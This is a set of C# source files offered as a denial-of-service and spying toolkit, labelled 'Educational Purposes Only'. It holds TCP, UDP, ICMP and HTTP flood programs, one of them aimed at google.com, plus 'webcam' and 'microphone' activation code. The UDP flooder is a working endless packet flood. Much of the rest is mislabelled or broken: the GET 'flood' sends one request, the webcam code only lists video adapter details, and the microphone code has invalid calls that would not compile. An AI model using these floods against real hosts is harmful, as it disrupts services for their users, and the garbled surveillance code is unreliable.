//TCPFlooder.cs

using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace TCPFlood
{
    class Program
    {
        static void Main(string[] args)
        {
            IPAddress ip = IPAddress.Parse("127.0.0.1");
            for (int i = 0; i < 255; i++)
            {
                ThreadPool.QueueUserWorkItem(new WaitCallback(Send), ip);
            }
        }

        private static void Send(object ip)
        {
            IPAddress address = (IPAddress)ip;
            TcpClient client = new TcpClient();
            client.Connect(address, 80);
            client.Close();
        }
    }
}

-------------------------------------------------------------------------------

//UDPFlooder.cs

using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;

namespace UDPFlood
{
    class Program
    {
        static void Main(string[] args)
        {
            string ip = "127.0.0.1";
            int port = 80;
            int threads = 100;
            int messageLength = 1024;
            string message = "";

            for (int i = 0; i < messageLength; i++)
            {
                message += "A";
            }

            for (int i = 0; i < threads; i++)
            {
                Thread thread = new Thread(new ThreadStart(delegate()
                {
                    while (true)
                    {
                        Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                        IPEndPoint ipEndPoint = new IPEndPoint(IPAddress.Parse(ip), port);
                        socket.SendTo(Encoding.ASCII.GetBytes(message), ipEndPoint);
                    }
                }));
                thread.Start();
            }
        }
    }
}

--------------------------------------------------------------------------------

//ICMPFlood.cs

using System;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Threading;

namespace ICMPFlood
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Enter target IP address: ");
            string target = Console.ReadLine();
            Console.WriteLine("Enter number of packets: ");
            int packets = Convert.ToInt32(Console.ReadLine());
            Console.WriteLine("Enter delay between packets (in milliseconds): ");
            int delay = Convert.ToInt32(Console.ReadLine());
            for (int i = 0; i < packets; i++)
            {
                Ping ping = new Ping();
                PingReply reply = ping.Send(target);
                Console.WriteLine("Reply from {0}: bytes={1} time={2}ms TTL={3}", reply.Address, reply.Buffer.Length, reply.RoundtripTime, reply.Options.Ttl);
                Thread.Sleep(delay);
            }
        }
    }
}

----------------------------------------------------------------------------------

//HTTPPOSTFlood.cs

using System.Net;
using System.Net.Http;
using System.Threading.Tasks;

public class Program
{
    public static void Main()
    {
        Task.Run(() => Flood("http://www.google.com"));
    }

    public static async Task Flood(string url)
    {
        using (var client = new HttpClient())
        {
            for (int i = 0; i < 100; i++)
            {
                await client.PostAsync(url, new StringContent(""));
            }
        }
    }
}


--------------------------------------------------------------------------------------

//HTTPGETFlood.cs

using System;
using System.Net;
using System.Net.Http;
using System.Threading.Tasks;
using System.Web.Http;

namespace GET
{
    class Program
    {
        static void Main(string[] args)
        {
            // Create a new HttpClient instance.
            HttpClient client = new HttpClient();

            // Make a request to a URI.
            HttpResponseMessage response = client.GetAsync("http://www.example.com").Result;

            // Read the response.
            Console.WriteLine(response.Content.ReadAsStringAsync().Result);
        }
    }
}

----------------------------------------------------------------------------------------

//WEBCAM.cs

public static void TurnOnWebcam()
{
    ManagementClass mc = new ManagementClass("Win32_VideoController");
    ManagementObjectCollection moc = mc.GetInstances();

    foreach (ManagementObject mo in moc)
    {
        Console.WriteLine("Device ID: {0}", mo["DeviceID"]);
        Console.WriteLine("Device String: {0}", mo["DeviceString"]);
        Console.WriteLine("Instance Name: {0}", mo["InstanceName"]);
        Console.WriteLine("PNP Device ID: {0}", mo["PNPDeviceID"]);
        Console.WriteLine("Status: {0}", mo["Status"]);
        Console.WriteLine("VideoArchitecture: {0}", mo["VideoArchitecture"]);
        Console.WriteLine("VideoMemoryType: {0}", mo["VideoMemoryType"]);
        Console.WriteLine("VideoModeDescription: {0}", mo["VideoModeDescription"]);
        Console.WriteLine("VideoModeNumber: {0}", mo["VideoModeNumber"]);
        Console.WriteLine("VideoProcessor: {0}", mo["VideoProcessor"]);
    }
}

------------------------------------------------------------------------------------------

//MICROPHONE.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Management;

namespace TurnOnMic
{
    class Program
    {
        static void Main(string[] args)
        {
            string name = "Microphone";
            string caption = "Microphone";
            string status = "OK";

            ManagementScope scope = new ManagementScope("root\\CIMV2");
            scope.Connect();

            ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_PnPEntity WHERE Name = '" + name + "'");
            ManagementObjectCollection mic = searcher.Get();

            foreach (ManagementObject mo in mic)
            {
                if (mo["Caption"].ToString() == caption && mo["Status"].ToString() == status)
                {
                    Console.WriteLine("Microphone is already on.");
                    return;
                }
            }

            ManagementBaseObject inParams = searcher.Get().Get().Get();
            inParams["State"] = 1;
            ManagementBaseObject outParams = null;
            ManagementClass mc = new ManagementClass("Win32_PnPSignedDriver");
            mc.InvokeMethod("StartService", inParams, outParams);

            Console.WriteLine("Microphone turned on.");
        }
    }
}

--------------------------------------------------------------------------------------------

// Educational Purposes Only!